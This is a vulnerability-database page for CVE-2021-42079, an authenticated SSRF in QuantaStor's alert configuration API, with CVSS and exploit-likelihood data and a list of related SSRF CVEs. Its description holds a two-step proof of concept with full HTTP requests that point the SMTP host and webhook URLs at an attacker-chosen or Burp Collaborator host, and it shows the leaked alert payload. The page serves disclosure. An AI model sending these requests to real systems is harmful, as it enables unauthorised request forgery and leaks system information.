CVE-2021-42079
MEDIUMDescription
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: { ### Python FLASK stuff #### 'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]), ### END Python FLASK stuff #### 'data': b'{ "attachments": [ { "fallback": "[122] test / test.", "color": "#aa2222", "title": "[122] test", "text": "test", "fields": [ { "title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true }, { "title": "System / Driver / Kernel Ver", "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic", "short": false }, { "title": "System Startup", "value": "Fri Aug 6 16-02-55 2021", "short": true }, { "title": "SSID", "value": "f4823762-1dd1-1333-47a0-6238c474a7e7", "short": true }, ], "footer": "QuantaStor Call-home Alert", "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ", "ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF ##### 'headers': { 'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '*/*', 'Content-Type': 'application/json', 'Content-Length': '790' }, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####
How to fix
Remediation is compiled from vendor and distribution security advisories. Always confirm against the linked source for your exact version and platform.
CVSS v3 Vector
Exploitability
Impact
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N
Exploit Intelligence
Moderate risk: more likely to be exploited than 43% of all known CVEs.
References
Related Vulnerabilities
Other CWE-918 (Server-Side Request Forgery (SSRF)) vulnerabilities, ordered by exploit likelihood. View all
| CVE | Severity | CVSS | EPSS | Exploited | Fix |
|---|---|---|---|---|---|
| CVE-2024-21893 | High | 8.2 | 100% | KEV + Ransom | - |
| CVE-2021-40438 | Critical | 9.0 | 100% | KEV | Fix |
| CVE-2021-34473 | Critical | 9.1 | 100% | KEV + Ransom | Fix |
| CVE-2021-26855 | Critical | 9.1 | 100% | KEV + Ransom | Fix |
| CVE-2021-21985 | Critical | 9.8 | 100% | KEV + Ransom | Fix |
| CVE-2022-41040 | High | 8.8 | 100% | KEV + Ransom | Fix |
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Markdown
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Start freeThis product uses NVD data but is not endorsed or certified by the NVD. EPSS scores courtesy of FIRST.org (https://www.first.org/epss). Source: CISA KEV Catalog. Data as of 2025-09-22.